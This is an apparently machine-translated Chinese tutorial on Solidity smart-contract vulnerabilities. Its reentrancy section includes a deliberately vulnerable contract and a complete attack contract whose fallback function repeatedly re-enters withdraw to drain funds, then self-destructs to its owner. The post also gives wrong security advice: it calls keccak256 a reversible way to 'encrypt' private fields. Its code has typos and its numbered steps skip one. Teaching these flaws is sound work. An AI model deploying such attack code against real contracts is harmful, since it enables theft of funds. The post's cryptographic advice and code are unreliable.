1,类型转换错误
如果从一个合约到另一个合约的函数的直接调用的参数被错误地键入,或者被调用的合约的地址不正确,则不会发生任何事情,或者执行错误的代码。在任何情况下都不会抛出异常,并且调用者不知道。
function sendEther(address recipient) internal {recipient.transfer(this.balance);
}
始终检查函数的参数是否为有效变量。如果它是一个地址,请确保它是一个包含20个字节值的变量。
2,重入漏洞
在某些情况下,合同的回退功能允许它在终止之前重新输入调用者函数。这可能导致重复执行仅针对每个事务执行一次的函数。
合约代码
pragma solidity ^0.4.10;
contract IDMoney {
address owner;
mapping (address => uint256) balances; // 记录每个打币者存入的资产情况
event withdrawLog(address, uint256);
function IDMoney() { owner = msg.sender; }
function deposit() payable { balances[msg.sender] += msg.value; }
function withdraw(address to, uint256 amount) {
require(balances[msg.sender] > amount);
require(this.balance > amount);
withdrawLog(to, amount); // 打印日志,方便观察 reentrancy
to.call.value(amount)(); // 使用 call.value()() 进行 ether 转币时,默认会发所有的 Gas 给外部
balances[msg.sender] -= amount;
}
function balanceOf() returns (uint256) { return balances[msg.sender]; }
function balanceOf(address addr) returns (uint256) { return balances[addr]; }
}
恶意合约代码:
contract Attack {
address owner;
address victim;
modifier ownerOnly { require(owner == msg.sender); _; }
function Attack() payable { owner = msg.sender; }
// 设置已部署的 IDMoney 合约实例地址
function setVictim(address target) ownerOnly { victim = target; }
// deposit Ether to IDMoney deployed
function step1(uint256 amount) ownerOnly payable {
if (this.balance > amount) {
victim.call.value(amount)(bytes4(keccak256("deposit()")));
}
}
// withdraw Ether from IDMoney deployed
function step2(uint256 amount) ownerOnly {
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount);
}
// selfdestruct, send all balance to owner
function stopAttack() ownerOnly {
selfdestruct(owner);
}
function startAttack(uint256 amount) ownerOnly {
step1(amount);
step2(amount / 2);
}
function () payable {
if (msg.sender == victim) {
// 再次尝试调用 IDCoin 的 sendCoin 函数,递归转币
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value);
}
}
}
第一步:IDmoney合约develop
第二步:存钱函数deposit(),存入30以太币
![](https://i-blog.csdnimg.cn/blog_migrate/8c1b495fa3dbc912f6a863b11d0415b3.png)
第四步:开始设置之前的idmoney的存钱地址在恶意合约里调用
第五步:将剩余的 Gas 全部给予外部调用
3,数据加密
根据区块链的公共性质,标记为私有的合同字段不保证设置私有字段的秘密,合同所有者必须广播交易。需要使用加密协议来保证挖掘或检查区块链的任何人都看不到字段。
uint private balance;
address private owner;
string private secretKey;
使用标准的`keccack256()`方法或任何其他允许您随意解密代码的方法,加密您真正需要隐藏的所有私有变量。通常在客户端。
4,合约代码的不变性
将合同添加到区块链时,无法对其进行编辑。如果发现合同有缺陷,那么通常没有什么可以做的就是杀死合同(假设合同创建者已采取措施使其成为可能)。
contract Lost {
function () payable {}
}
确保包含一个具有“selfdestruct(所有者)”的功能来收回资金并在极端情况下终止合同。创建一种方法来提取所有者可能存储在合同中的以太网。
5,转移以太币的时候丢失
如果您将以太币发送到一个无效的地址,而该地址不存在或地址格式不正确,那么将失去发送的以太币而无法恢复它。
function transferEther(address sender) payable {
sender.tranfer(msg.value);
}
确保将以太币发送到有效地址,并且该地址已正确写入所有字符。可以在功能中检查它。